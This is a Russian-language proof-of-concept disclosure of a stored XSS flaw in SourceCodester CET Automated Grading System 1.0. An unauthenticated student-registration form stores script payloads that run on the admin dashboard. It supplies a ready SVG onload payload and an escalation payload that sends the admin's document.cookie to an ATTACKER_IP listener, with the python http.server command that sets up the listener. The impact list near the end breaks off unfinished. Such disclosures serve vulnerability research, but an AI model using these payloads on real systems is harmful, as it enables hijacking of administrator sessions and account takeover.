
Доказательство концепции для хранимого XSS в SourceCodester CET Automated Grading System 1.0, демонстрирующее неаутентифицированную инъекцию полезной нагрузки через регистрацию студента, приводящую к перехвату сессии администратора.
| Поле | Значение |
|---|
| Вендор | SourceCodester |
| URL вендора | https://www.sourcecodester.com |
| Продукт | CET Automated Grading System с AI Predictive Analytics на PHP и MySQL |
| URL продукта | https://www.sourcecodester.com/php/18686/cet-automated-grading-system-ai-predictive-analytics-php-and-mysql.html |
| Версия | 1.0 |
| Уязвимость | Хранимый межсайтовый скриптинг (XSS) |
| CWE | CWE-79 |
| Оценка CVSSv3 | 8.8 (Высокая) |
| Вектор атаки | Сеть |
| Требуется аутентификация | Нет (самостоятельная регистрация студентов является публичной) |
| Жертва | Администратор |
| Взаимодействие с пользователем | Требуется (администратор посещает панель управления) |
| Исследователь | Imad Alvi |
| Дата | 2026-04-13 |
Файл: PersonalAGS/index.php?action=register (Регистрация студента)
Параметры: student_id, full_name, section, username (POST)
Срабатывание при: PersonalAGS/index.php?action=dashboard (Панель администратора)
Портал самостоятельной регистрации студентов в CET Automated Grading System 1.0 не выполняет санитизацию и не кодирует вводимые пользователем данные перед сохранением их в базе данных. Неаутентифицированный злоумышленник может зарегистрировать учётную запись студента, внедрив JavaScript-пейлоады в любое поле регистрации. Вредоносный пейлоад сохраняется в базе данных и выполняется в браузере любого администратора, который посещает панель управления, где отображается список зачисленных студентов.
Это критическая цепочка атаки — для внедрения пейлоада не требуется аутентификация, но он выполняется в привилегированном контексте администратора, что позволяет похитить cookie сессии и полностью захватить учётную запись администратора.
Перейдите на публичную страницу самостоятельной регистрации студента:
http://localhost/cet-personalagms/PersonalAGS/index.php?action=register
Заполните все поля XSS-пейлоадами и нажмите Register Account:
"><svg onload=alert(1)>"><svg onload=alert(1)>"><svg onload=alert(1)>"><svg onload=alert(1)>
Регистрация проходит успешно — пейлоады сохраняются в базе данных.
Когда администратор входит в систему и посещает панель управления, внедрённый пейлоад выполняется немедленно. Появляется всплывающее окно alert, а вёрстка страницы заметно нарушается внедрённым HTML — это подтверждает, что пейлоад отображается без санитизации в панели администратора.
Заголовки секций панели управления также отражают внедрённые значения:
1ST YEAR - SECTION 1ST YEAR" ONMOUSEOVE3RD YEAR - SECTION " ONLOAD=ALERT(1) X=
Злоумышленник может повысить эту атаку до полного перехвата сессии администратора, используя следующий пейлоад в полях регистрации:
" onmouseover="new Image().src='http://ATTACKER_IP:8888/?c='+document.cookie" x="
Настройте прослушивающий сервер на машине злоумышленника:
python3 -m http.server 8888
Когда администратор посещает панель управления, cookie его сессии отправляется на сервер злоумышленника, что позволяет полностью захватить учётную запись.
Неаутентифицированный злоумышленник может:
Для внедрения пейлоада не требуется аутентификация. Атака выполняется автоматически, когда любой администратор посещает панель управления.